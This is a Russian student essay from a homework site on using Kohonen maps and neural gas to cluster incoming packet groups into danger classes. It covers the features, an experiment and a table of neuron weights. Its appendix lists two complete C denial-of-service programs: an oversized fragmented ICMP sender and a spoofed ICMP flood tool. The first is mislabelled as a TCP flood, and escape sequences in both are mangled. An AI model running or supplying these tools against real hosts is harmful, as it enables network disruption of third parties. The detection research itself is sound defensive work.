Xreferat.com » Рефераты по информатике и программированию » Кластеризация групп входящих пакетов с помощью нейронных сетей конкурирующего типа

Кластеризация групп входящих пакетов с помощью нейронных сетей конкурирующего типа

нейронных сетей конкурирующего типа" width="188" height="31" align="BOTTOM" border="0" />,


где r – координаты нейрона в сетке.

Обычно применяется одна из двух функций от расстояния: простая константа:


Кластеризация групп входящих пакетов с помощью нейронных сетей конкурирующего типа,

или Гауссова функция:


Кластеризация групп входящих пакетов с помощью нейронных сетей конкурирующего типа,


При этом Кластеризация групп входящих пакетов с помощью нейронных сетей конкурирующего типа является убывающей функцией от времени. Эту величину называют радиусом обучения. Он выбирается достаточно большим на начальном этапе обучения и постепенно уменьшается так, что в конечном итоге обучается один нейрон-победитель. Наиболее часто используется функция, линейно убывающая от времени.

Функция скорости обучения Кластеризация групп входящих пакетов с помощью нейронных сетей конкурирующего типа также представляет собой функцию, убывающую от времени. Наиболее часто используются два варианта этой функции: линейная и обратно пропорциональная времени вида:


Кластеризация групп входящих пакетов с помощью нейронных сетей конкурирующего типа,


где A и B это константы. Применение этой функции приводит к тому, что все вектора из обучающей выборки вносят примерно равный вклад в результат обучения.

Обучение состоит из двух основных фаз: на первоначальном этапе выбирается достаточно большое значение скорости обучения и радиуса обучение, что позволяет расположить вектора нейронов в соответствии с распределением примеров в выборке, а затем производится точная подстройка весов, когда значения параметров скорости обучения много меньше начальных.


2.3.6 Алгоритм нейронного газа

В этом алгоритме на каждой итерации все нейроны сортируются в зависимости от их расстояния до вектора x. После сортировки нейроны размечаются в последовательности, соответствующей увеличению удалённости.


Кластеризация групп входящих пакетов с помощью нейронных сетей конкурирующего типа


где dk=|x-wm(i)| обозначает удалённость i-того нейрона, занимающего в результате сортировки m-ю позицию в последовательности, возглавляемой нейроном-победителем, которому сопоставлена удаленность d0. Значение функции соседства для i-того нейрона G(i,x) определяется по формуле:


Кластеризация групп входящих пакетов с помощью нейронных сетей конкурирующего типа


в которой m(i) обозначает очерёдность, полученную в результате сортировки (m(i)=1,2,3,…,n-1), а лямбда - параметр, аналогичный уровню соседства в алгоритме Кохонена, уменьшающийся с течением времени. При лямбда =0 адаптации подвергается только нейрон-победитель, и алгоритм превращается в обычный алгоритм WTA, но при уточнению подлежат веса многих нейронов, причём уровень уточнения зависит от величины G(i,x).

Для достижения хороших результатов самоорганизации процесс обучения должен начинаться с большого значения лямбда, однако с течением времени его величина уменьшается до нуля.


3. Формализация задачи


В качестве группы пакетов, выступающих в качестве обучающего примера, возьмём 10 подряд идущих поступающих на рабочую станцию пакетов. Для построения модели оценим в каждой группе следующие параметры:

1.Число пакетов поступивших от хостов “своей” ЛВС.

2.Число фрагментированных пакетов.

3.Число TCP-пакетов.

4.Число UDP-пакетов.

5.Максимальное число пакетов в группе, пришедших от одного из хостов-отправителей.

6.Принадлежность хоста, отправителя наибольшего числа пакетов. (1 - “своя” ЛВС, 0 - иначе)

7.Средняя загрузка процессора (без учёта приложений не связанных с сетью). (%)

8.Изменение загрузки процессора с времени получения первого пакета до времени получения последнего пакета (без учёта приложений не связанных с сетью).(%)

9.Средний размер пакета. (байт)

10.Число пакетов размером в интервале с 0.8*x до 1.2*x, где x – средний размер пакета.

11. Число доступных хостов.

12. Число различных хостов.

Вышеперечисленные параметры будут являться входами модели. Пользователю следует определить размер карты Кохонена, а также параметры настройки нейронной сети. Остаётся только сгенерировать различные пакеты TCP, UDP и ICMP как обычные, так и “хакерские”, и переслать их на хост, ведущий журнал входящих пакетов и их параметров. Из данного журнала пакеты объединяются в группы (10 последовательно идущих пакетов). Для каждой группы определяются выделенные интегральные критерии.

Полученные данные служат для самообучения сети.


4. Эксперимент


На локальную станцию (192.168.0.3) поступают следующие пакеты:

TCP – обычные пакеты от станций собственной ЛВС. Соединение происходит в обычном режиме. Передача файлов.

ICMP – обычные пакеты, “проверка связи”.

UDP – обычные пакеты от станций ЛВС, обмен данными между приложениями BroodWar, Blizzard Intertainment.

TCP – обычные пакеты от хостов, на принадлежащих “своей” ЛВС, передача файлов.

TCP – “хакерские” пакеты. Паническая атака.

ICMP – пакеты, являющиеся следствием широковещательного шторма.

UDP – “хакерские” пакеты (посылка широковещательного шторма).

TCP – “хакерские” пакеты, фрагментрованные и не связанные между собой (aтака на файрфолл).

Эксперимент представляет собой посылку и запоминание чередующихся обычных и “опасных” пакетов. Причём в группе, относящийся к классу зарождающейся атаки, могут присутствовать и совершенно безвредные пакеты с данными и сообщениями. Того как заранее определённое число пакетов было получено и после предобработки в группы произошло обучение модели, необходимо произвести визуализацию карты Кохонена. На карте, состоящей из квадратов, где за каждый квадрат отвечает один нейрон, производится заливка в зависимости от класса опасности. Нейроны, отвечающие за класс - тотальная атака (большое число опасных пакетов), окрашиваются в более тёмно красные цвета, нейроны, классифицирующие обычную работу станции в сети (приём-передача данных), окрашены в более нейтральные цвета.


5. Результаты работы модели


1.Стандартный алгоритм Кохонена. Карта 10*10 нейронов.


Кластеризация групп входящих пакетов с помощью нейронных сетей конкурирующего типа

Рис.5 Визуализация карты Кохонена при обучении стандартным алгоритмом Кохонена


Из-за того что многие нейроны после обучения остались мертвыми нейронная сеть имеет высокую погрешность квантования.

Самые опасные классы характеризуются следующими параметрами: небольшие по размеру пакеты, значительное количество пакетов одного типа, например только ICMP или UDP, и одного размера, во время получения этих групп пакетов происходит существенная загрузка процессора, значительная часть хостов - отправителей не доступны. Другим опасным классом является кластер с большими по размерам фрагментированными пакетами.

2.Стандартный алгоритм Кохонена с учётом соседства. Карта 10*10 нейронов.


Кластеризация групп входящих пакетов с помощью нейронных сетей конкурирующего типа

Рис.6 Визуализация карты Кохонена при обучении стандартным алгоритмом Кохонена с учётом соседства


Из-за подстройки большего числа нейронов значительная часть нейронов – “живая”. Погрешность квантования значительно ниже. Визуально прослеживается группирование опасных групп пакетов. Между двумя основными очагами опасности (в левом и правом углах карты) расположены группы пакетов соответствующие безопасной передаче.

3.Обучение карты признаков с механизмом утомления. Карта 10*10 нейронов.


Кластеризация групп входящих пакетов с помощью нейронных сетей конкурирующего типа

Рис.7 Визуализация карты Кохонена при обучении с использованием механизма утомления.


4. Обучение карты признаков с механизмом утомления и подстройкой соседей. Карта 10*10 нейронов.


Кластеризация групп входящих пакетов с помощью нейронных сетей конкурирующего типа

Рис.8 Визуализация карты Кохонена при обучении обучении с использованием механизма утомления и подстройкой соседей.


5 .Алгоритм нейронного газа.=


Кластеризация групп входящих пакетов с помощью нейронных сетей конкурирующего типа

Рис.9 Визуализация карты Кохонена при обучении. Алгоритмом нейронного газа


Большой разброс по карте различных цветов объясняется самим алгоритмом обучения: здесь соседство нейронов не зависит от расположения нейронов на карте признаков.

Кроме визуализации карты важны также значения синаптических весов. Синаптический вес W0=1- поляризация нейрона.

Пример.1

Кластеризация групп входящих пакетов с помощью нейронных сетей конкурирующего типа

Рис.10 Карта Кохонена. 5*5 нейронов.


Ниже даны значения синаптических весов для каждого из “живых” нейронов.

Нейрон 0

1

7,87128697398845

0,625510201518193

2,7803597528978

1,89207931247814

3,29053079148225

0,846173185063035

13,5345966850206

7,0865225491331

129,307664502201

1,40585258052631

9,01013368873421

Нейрон 1

1

7,15478814257012

0,80038505604928

3,4657135681091

2,14143521744823

3,44359875511805

0,776338372597683

12,9441507600633

5,13478248587067

183,45652320823

0,892269137377325

8,8894329158617

Нейрон 2

1

6,51072352952404

0,992340068508278

4,06763582460853

2,78810515781772

3,8079162430252

0,67583544535221

11,7697105357889

1,88885822746819

277,625057718703

0,489223807498444

9,01986066715186

Нейрон 3

1

5,89443270744136

1,07835225630037

5,00871505425791

3,21406653769472

4,05965826713145

0,688612599435516

9,64055979833943

0,176019982013541

349,212505651654

0,307102637433364

8,2882446272146

Нейрон 4

1

5,70325599064924

1,50203934884403

5,48238703058519

2,857530344957

4,1045922884135

0,559367823973787

9,80870961032371

-2,51748577298294

388,707709851468

0,360064195846817

8,67487120799402

Нейрон 6

1

6,98662538009356

0,943325646563848

3,76316661580884

2,28074699102588

3,84435226155865

0,675295943164295

13,1166889150889

2,5894675318043

232,422065671803

0,578616436145349

9,30231795759802

Нейрон 7

1

6,4383154761932

1,30743427921713

4,43322764797434

2,5712769815738

4,015643912254

0,585958396325411

11,4384134686756

0,295227565032279

308,441204991856

0,436934279428607

9,22429249868916

Нейрон 8

1

6,2914496789632

1,49510940329358

5,16485493868028

2,94683540727014

4,26732605590749

0,59451625983309

10,9123469737949

-2,32327270509521

397,564552174538

0,581383154548032

9,07977817163535

Нейрон 9

1

5,78995420800614

1,73921623428801

5,64413639879408

2,83323796423943

4,40990583312066

0,500543095760549

11,1144609757214

-5,73252740367375

449,019038281951

0,657035152619139

9,23115369270226

Нейрон 10

1

6,97268621817446

0,79277691809128

4,02543058948051

2,46523221397023

3,77806690364019

0,676526389633808

13,8202281014187

0,469769683982962

259,238919476768

0,757542791254212

9,28309047834848

Нейрон 11

1

7,04631978115591

0,866271976699346

4,10365456015304

2,88223720882954

4,03150518348344

0,741278370899166

13,8559400919982

-1,255919505345

293,322921366235

0,704152207962319

9,48440166138134

Нейрон 12

1

6,53912681147659

1,56421780805537

4,65601147347958

2,9067904818665

4,27363452636153

0,618578255936595

12,5822623306945

-2,08418808911294

374,872439162492

0,774431791221968

9,54008041266804

Нейрон 13

1

5,69340841412797

2,44796836439865

5,48622818955848

2,92237813180815

4,67788797387526

0,423401926734283

12,1938129780133

-3,92356491480928

497,650849296462

1,22621001209077

9,58796185267328

Нейрон 14

1

5,10226147046721

2,74988223156105

5,9342783502907

2,83173118981968

4,95695609620259

0,316516196981386

12,0153591762438

-5,69212277788297

553,351005991353

1,42911651866737

9,61230903245157

Нейрон 15

1

6,98052845303821

1,22279827555202

4,46220766547028

2,90189348319595

4,15096271989555

0,718494733032167

13,8462699925973

-0,265034800167613

329,133144315137

0,789272703113608

9,41327311392812

Нейрон 16

1

6,78108488859872

1,4587788312988

4,75098402281347

2,99715775219415

4,35524349138507

0,688106328846737

13,146546408368

-1,83766433492922

378,789970538933

0,911094890831572

9,47688044148138

Нейрон 17

1

5,9813392597355

2,59141112244731

5,42222552146448

2,88984764450358

4,90655379368435

0,558857955310756

12,3129769708837

-1,59557885143347

509,639060778038

1,46442141785324

9,64035319482989

Нейрон 18

1

4,37316852020513

3,93024605710541

6,35532277636607

2,54556862325942

5,71566995847879

0,301720400062721

12,1338787032946

-0,810932403256381

666,82904006035

2,40887775038786

9,71260136248531

Нейрон 19

1

3,82835833175608

4,14740478540821

6,51201817449346

2,53488453447905

5,87186670401515

0,209331814630084

12,1270372594924

-1,30049493872786

704,444674316111

2,25030241452771

9,65725372019714

Нейрон 21

1

6,39813422562582

2,08493929159042

5,32829499657161

3,06032597511598

4,7641814353147

0,582189552264411

12,5599245219555

-1,96191395295381

469,290874929838

1,22613369905861

9,46669357056521

Нейрон 23

1

3,55908012277478

4,77646016724021

6,74861021282903

2,41585236193159

6,31871793270481

0,255152204011248

12,1980038558062

1,93696746210735

759,876377313462

2,82715213468638

9,64367900062772

Нейрон 24

1

3,37428950504548

4,73559755878779

6,67504947616927

2,51158813130044

6,22501279809869

0,20990156336746

12,1086739774428

1,00744771459805

778,544161691368

2,27296953057915

9,5765164059112



Табл. 1. Весовые коэффициенты нейронов карты Кохонена для примера 1.


Заключение


В результате проделанной работы создана интеллектуальная система анализа входящего трафика по классам опасности. Система построена на использовании нейронной сети конкурирующего типа. Реализовано обучение сети пятью методами самоорганизации: классический (с настройкой соседей и без неё), механизм утомления (с настройкой соседей и без неё) и алгоритм нейронного газа. В качестве обучающей выборки были использованы данные из журнала входящего трафика, содержащие как пакета передачи данных и управляющие пакеты, так и “опасные” пакеты направленные на нарушение работы хоста (атака для создания доверительного TCP – соединения, лавинное заваливание ICMP и UDP пакетами, передача крупных несвязанных фрагментированных пакетов). Входящие пакеты объединялись в группы и для каждой из групп определялись интегральные критерии на принадлежность к классу опасности. В результате самообучения нейронной сети создан классификатор входящих пакетов.


Список используемой литературы


1. Джон Чирилло. Обнаружение хакерских атак. Для профессионалов (+CD). – СПб.: Питер 2003. – 864 с.: ил.

2. И.Д. Медведовский, П.В. Семьянов, В.В. Платонов. Атака через Internet. Москва. НПО "Мир и семья-95" - 1997 3.Арсеньев С. “Извлечение данных из медицинских баз данных”

4. Круглов В.В., Борисов В.В. “Искусственные нейронные сети. Теория и практика”. –2-е изд., стереотип. - Москва: Горячая линия – Телеком, 2002 г. – 382 с.: ил.

5. Горбань А.Н., Россиев Д.А. “Нейронные сети на персональном компьютере” – Новосибирск: Наука. Сибирская издательская фирма РАН, 1996 г. –276 с.: ил.

6. Ф. Уоссерман “Нейрокомпьютерная техника: теория и практика” – Москва.: Мир, 1992 –182 стр.: ил.

7. Корнеев В.В., Гареев А.Ф., Васютин С.В., Райх В.В. “Базы данных. Интеллектуальная обработка информации” – Москва.: “Нолидж”, 2000 г., - 356с.: ил.

8. Осовский Станислав. Нейронные сети для обработки информации. М: Финансы и статистика. 2002 г. –335 с: ил.

9. Назаров А.В., Лоскутов А.И. Нейросетевые алгоритмы прогнозирования и оптимизации систем. Санкт-Петергург, Наука и техника. 2003 г. -


Листинг программ


1.Атака лавинного типа (запрос на создание TCP-соедиения)


#include <stdio.h>

#include <sys/types.h>

#include <sys/socket.h>

#include <netdb.h>

#include <netinet/in.h>

#include <netinet/in_systm.h>

#include <netinet/ip.h>

#include <netinet/ip_icmp.h>

#ifdef REALLY_RAW

#define FIX(x) htons(x)

#else

#define FIX(x) (x)

#endif

int

main(int argc, char **argv)

{

int s;

char buf[1500];

struct ip *ip = (struct ip *)buf;

struct icmp *icmp = (struct icmp *)(ip + 1);

struct hostent *hp;

struct sockaddr_in dst;

int offset;

int on = 1;


bzero(buf, sizeof buf);


if ((s = socket(AF_INET, SOCK_RAW, IPPROTO_IP)) < 0) {

perror("socket");

exit(1);

}

if (setsockopt(s, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) < 0) {

perror("IP_HDRINCL");

exit(1);

}

if (argc != 2) {

fprintf(stderr, "usage: %s hostnamen", argv[0]);

exit(1);

}

if ((hp = gethostbyname(argv[1])) == NULL) {

if ((ip->ip_dst.s_addr = inet_addr(argv[1])) == -1) {

fprintf(stderr, "%s: unknown hostn", argv[1]);

}

} else {

bcopy(hp->h_addr_list[0], &ip->ip_dst.s_addr, hp->h_length);

}

printf("Sending to %sn", inet_ntoa(ip->ip_dst));

ip->ip_v = 4;

ip->ip_hl = sizeof *ip >> 2;

ip->ip_tos = 0;

ip->ip_len = FIX(sizeof buf);

ip->ip_id = htons(4321);

ip->ip_off = FIX(0);

ip->ip_ttl = 255;

ip->ip_p = 1;

ip->ip_sum = 0; /* kernel fills in */

ip->ip_src.s_addr = 0; /* kernel fills in */


dst.sin_addr = ip->ip_dst;

dst.sin_family = AF_INET;


icmp->icmp_type = ICMP_ECHO;

icmp->icmp_code = 0;

icmp->icmp_cksum = htons(~(ICMP_ECHO << 8));

/* the checksum of all 0's is easy to compute */


for (offset = 0; offset < 65536; offset += (sizeof buf - sizeof *ip)) {

ip->ip_off = FIX(offset >> 3);

if (offset < 65120)

ip->ip_off |= FIX(IP_MF);

else

ip->ip_len = FIX(418); /* make total 65538 */

if (sendto(s, buf, sizeof buf, 0, (struct sockaddr *)&dst,

sizeof dst) < 0) {

fprintf(stderr, "offset %d: ", offset);

perror("sendto");

}

if (offset == 0) {

icmp->icmp_type = 0;

icmp->icmp_code = 0;

icmp->icmp_cksum = 0;

}

}

}

Листинг 2. Атака лавинного типа подменёнными ICMP – пакетами.

#include <sys/types.h>

#include <sys/socket.h>

#include <stdio.h>

#include <unistd.h>

#include <stdlib.h>

#include <string.h>

#include <netdb.h>

#include <netinet/ip.h>

#include <netinet/in.h>

#include <netinet/ip_icmp.h>


#define IPHDRSIZE sizeof(struct iphdr)

#define ICMPHDRSIZE sizeof(struct icmphdr)

#define VIRGIN "1.1"


void version(void) {

printf("flood %s - by FA-Qn", VIRGIN);

}

void usage(const char *progname)

{

printf("usage: %s [-fV] [-c count] [-i wait] [-s packetsize] <target> <broadcast>n",progname);

}


unsigned char *dest_name;

unsigned char *spoof_name = NULL;

struct sockaddr_in destaddr, spoofaddr;

unsigned long dest_addr;

unsigned long spoof_addr;

unsigned pingsize, pingsleep, pingnmbr;

char flood = 0;


unsigned short in_cksum(addr, len)

u_short *addr;

int len;

{

register int nleft = len;

register u_short *w = addr;

register int sum = 0;

u_short answer = 0;


while (nleft > 1) {

sum += *w++;

nleft -= 2;

}


if (nleft == 1) {

*(u_char *)(&answer) = *(u_char *)w;

sum += answer;

}


sum = (sum >> 16) + (sum & 0xffff);

sum += (sum >> 16);

answer = ~sum;

return(answer);

}


int resolve( const char *name, struct sockaddr_in *addr, int port )

{

struct hostent *host;

bzero((char *)addr,sizeof(struct sockaddr_in));


if (( host = gethostbyname(name) ) == NULL ) {

fprintf(stderr,"%s will not resolven",name);

perror(""); return -1;

}


addr->sin_family = host->h_addrtype;

memcpy((caddr_t)&addr->sin_addr,host->h_addr,host->h_length);

addr->sin_port = htons(port);


return 0;

}


unsigned long addr_to_ulong(struct sockaddr_in *addr)

{

return addr->sin_addr.s_addr;

}


int resolve_one(const char *name, unsigned long *addr, const char *desc)

{

struct sockaddr_in tempaddr;

if (resolve(name, &tempaddr,0) == -1) {

printf("%s will not resolven",desc);

return -1;

}


*addr = tempaddr.sin_addr.s_addr;

return 0;

}


int resolve_all(const char *dest,

const char *spoof)

{

if (resolve_one(dest,&dest_addr,"dest address")) return -1;

if (spoof!=NULL)

if (resolve_one(spoof,&spoof_addr,"spoof address")) return -1;


spoofaddr.sin_addr.s_addr = spoof_addr;

spoofaddr.sin_family = AF_INET;

destaddr.sin_addr.s_addr = dest_addr;

destaddr.sin_family = AF_INET;

}


void give_info(void)

{

printf("nattacking (%s) from (%s)n",inet_ntoa(spoof_addr),dest_name);

}


int parse_args(int argc, char *argv[])

{

int opt;


char *endptr;


while ((opt=getopt(argc, argv, "fc:s:i:V")) != -1) {

switch(opt) {

case 'f': flood = 1; break;

case 'c': pingnmbr = strtoul(optarg,&endptr,10);

if (*endptr != '') {

printf("%s is an invalid number '%s'.n", argv[0], optarg);

return -1;

}

break;

case 's': pingsize = strtoul(optarg,&endptr,10);

if (*endptr != '') {

printf("%s is a bad packet size '%s'n", argv[0], optarg);

return -1;

}

break;

case 'i': pingsleep = strtoul(optarg,&endptr,10);

if (*endptr != '') {

printf("%s is a bad wait time '%s'n", argv[0], optarg);

return -1;

}

break;

case 'V': version(); break;

case '?':

case ':': return -1; break;

}


}


if (optind > argc-2) {

return -1;

}


if (!pingsize)

pingsize = 28;

else

pingsize = pingsize - 36;


if (!pingsleep)

pingsleep = 100;


spoof_name = argv[optind++];

dest_name = argv[optind++];


return 0;

}


inline int icmp_echo_send(int socket,

unsigned long spoof_addr,

unsigned long t_addr,

unsigned pingsize)

{

unsigned char packet[5122];

struct iphdr *ip;

struct icmphdr *icmp;

struct iphdr *origip;

unsigned char *data;


int i;


ip = (struct iphdr *)packet;

icmp = (struct icmphdr *)(packet+IPHDRSIZE);

origip = (struct iphdr *)(packet+IPHDRSIZE+ICMPHDRSIZE);

data = (char *)(packet+pingsize+IPHDRSIZE+IPHDRSIZE+ICMPHDRSIZE);


memset(packet, 0, 5122);


ip->version = 4;

ip->ihl = 5;

ip->ttl = 255-random()%15;

ip->protocol = IPPROTO_ICMP;

ip->tot_len = htons(pingsize + IPHDRSIZE + ICMPHDRSIZE + IPHDRSIZE + 8);


bcopy((char *)&destaddr.sin_addr, &ip->daddr, sizeof(ip->daddr));

bcopy((char *)&spoofaddr.sin_addr, &ip->saddr, sizeof(ip->saddr));


ip->check = in_cksum(packet,IPHDRSIZE);


origip->version = 4;

origip->ihl = 5;

origip->ttl = ip->ttl - random()%15;

origip->protocol = IPPROTO_TCP;

origip->tot_len = IPHDRSIZE + 30;

origip->id = random()%69;


bcopy((char *)&destaddr.sin_addr, &origip->saddr, sizeof(origip->saddr));


origip->check = in_cksum(origip,IPHDRSIZE);


*((unsigned int *)data) = htons(pingsize);


icmp->type = 8; /* why should this be 3? */

icmp->code = 0;


icmp->checksum = in_cksum(icmp,pingsize+ICMPHDRSIZE+IPHDRSIZE+8);


return sendto(socket,packet,pingsize+IPHDRSIZE+ICMPHDRSIZE+IPHDRSIZE+8,0,

(struct sockaddr *)&destaddr,sizeof(struct sockaddr));


}


void main(int argc, char *argv[])

{

int s, i;

int floodloop;


if (parse_args(argc,argv))

{

usage(argv[0]);

return;

}


resolve_all(dest_name, spoof_name);

give_info();


s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);


if (!flood)

{

if (icmp_echo_send(s,spoof_addr,dest_addr,pingsize) == -1)

{

printf("%s error sending packetn",argv[0]); perror(""); return;

}

}

else

{

floodloop = 0;

if ( pingnmbr && (pingnmbr > 0) )

{

printf("sending... packet limit setn");

for (i=0;i<pingnmbr;i++)

{

if (icmp_echo_send(s,spoof_addr,dest_addr,pingsize) == -1)

{

printf("%s error sending packetn",argv[0]); perror(""); return;

}

usleep((pingsleep*1000));


if (!(floodloop = (floodloop+1)%25))

{ fprintf(stdout,"."); fflush(stdout);

}


}

printf("ncomplete, %u packets sentn", pingnmbr);

}

else {

printf("flooding, (. == 25 packets)n");

for (i=0;i<1;i)

{

if (icmp_echo_send(s,spoof_addr,dest_addr,pingsize) == -1)

{

printf("%s error sending packetn",argv[0]); perror(""); return;

}

usleep(900);


if (!(floodloop = (floodloop+1)%25))

{ fprintf(stdout,"."); fflush(stdout);

}


}

}


}

}


Листинг 3. Самоорганизующаяся карта признаков.

TNeuron = class

public

IntVal : TIntArray;

ExtVal : TExtArray;

Pos : Extended;

Status : Extended;

Y : Extended;

MassWeight : Array of Extended;

constructor Init(a : PIntArray; b : PExtArray);

function FunctionActivation : Extended;

procedure GetAksonValue(a : PExtArray);

procedure Randomization;

procedure Distantion(a : PExtArray);

end;

TLayer = class

public

ExtArr : TExtArray;

Neurons : Array of TNeuron;

QNeurons : integer;

QInputs : integer;

InputValues : Array of Extended;

OutputValues : Array of Extended;

constructor Init(a : PIntArray; b : PExtArray);

procedure GetInputValues(Values : PExtArray);

procedure GetOutputValues;

procedure Excitement;

procedure randomization;

end;

TKohonenLayer = class(TLayer)

public

eta,sigma : Extended;

h,w : Word;

constructor Init(a : PIntArray; b : PExtArray);

procedure Normalize;

function TheWinnerTakesItAll : integer;

function Classic : integer;

procedure Learning(a : integer; SpeedLearn : Extended);

procedure LearningNeib(a : integer; SpeedLearn : Extended);

procedure SigmaInit(s : Extended);

procedure ConvexCombination(delta : Extended);

procedure NeuralGaz(SpeedLearn : Extended);

end;

procedure TKohonenLayer.SigmaInit(s : Extended);

begin

Sigma:=s;

end;

procedure TKohonenLayer.ConvexCombination(delta : Extended);

var i : integer;

begin

eta:=eta+delta;

sigma:=sigma+0.1-10*delta;

for i:=0 to QInputs-1 do InputValues[i]:=InputValues[i]*eta+(1-eta)/sqrt(QInputs);

end;

constructor TKohonenLayer.Init(a : PIntArray; b : PExtArray);

var i : integer;

New : TIntArray;

begin

Inherited Init(a,b);

New:=a^;

H:=New.Value[3];

W:=Round(New.Value[2]/New.Value[3]);

Randomization;

for i:=0 to New.Value[2]-1 do Neurons[i].Pos:=3.75;

eta:=0;

end;

procedure TKohonenLayer.Normalize;

var i : integer;

Sum : Extended;

begin

Sum:=0;

for i:=0 to QInputs-1 do Sum:=Sum+Sqr(InputValues[i]);

for i:=0 to QInputs-1 do

InputValues[i]:=InputValues[i]/Sqrt(Sum);

end;

function TKohonenLayer.TheWinnerTakesItAll : integer;

var i,p : integer;

Min : Extended;

begin

Min:=Neurons[0].Y;

p:=0;

for i:=1 to QNeurons-1 do

begin

if Neurons[i].Pos>0.75 then

if Min>Neurons[i].Y then

begin

p:=i;

Min:=Neurons[i].Y;

end;

end;

for i:=0 to QNeurons-1 do Neurons[i].Y:=0;

for i:=0 to QNeurons-1 do

if i=p then Neurons[i].Pos:=Neurons[i].Pos-0.75

else Neurons[i].Pos:=Neurons[i].Pos+1/QNeurons;

Neurons[p].Y:=1;

GetOutputValues;

TheWinnerTakesItAll:=p;

end;

function TKohonenLayer.Classic : integer;

var i,p : integer;

Min : Extended;

begin

Min:=Neurons[0].Y;

p:=0;

for i:=1 to QNeurons-1 do

begin

if Min>Neurons[i].Y then

begin

p:=i;

Min:=Neurons[i].Y;

end;

end;

for i:=0 to QNeurons-1 do Neurons[i].Y:=0;

Neurons[p].Y:=1;

GetOutputValues;

Classic:=p;

end;

procedure TKohonenLayer.Learning(a : integer; SpeedLearn : Extended);

var i : integer;

begin

for i:=1 to QInputs do

Neurons[a].MassWeight[i]:=Neurons[a].MassWeight[i]+

SpeedLearn*(InputValues[i-1]-Neurons[a].MassWeight[i]);

end;

procedure TKohonenLayer.LearningNeib(a : integer; SpeedLearn : Extended);

var i,j : integer;

begin

for j:=0 to QNeurons-1 do

begin

for i:=1 to QInputs do

Neurons[j].MassWeight[i]:=Neurons[j].MassWeight[i]+

exp(-(Sqr((j div

Если Вам нужна помощь с академической работой (курсовая, контрольная, диплом, реферат и т.д.), обратитесь к нашим специалистам. Более 90000 специалистов готовы Вам помочь.
Бесплатные корректировки и доработки. Бесплатная оценка стоимости работы.

Поможем написать работу на аналогичную тему

Получить выполненную работу или консультацию специалиста по вашему учебному проекту
Нужна помощь в написании работы?
Мы - биржа профессиональных авторов (преподавателей и доцентов вузов). Пишем статьи РИНЦ, ВАК, Scopus. Помогаем в публикации. Правки вносим бесплатно.

Похожие рефераты: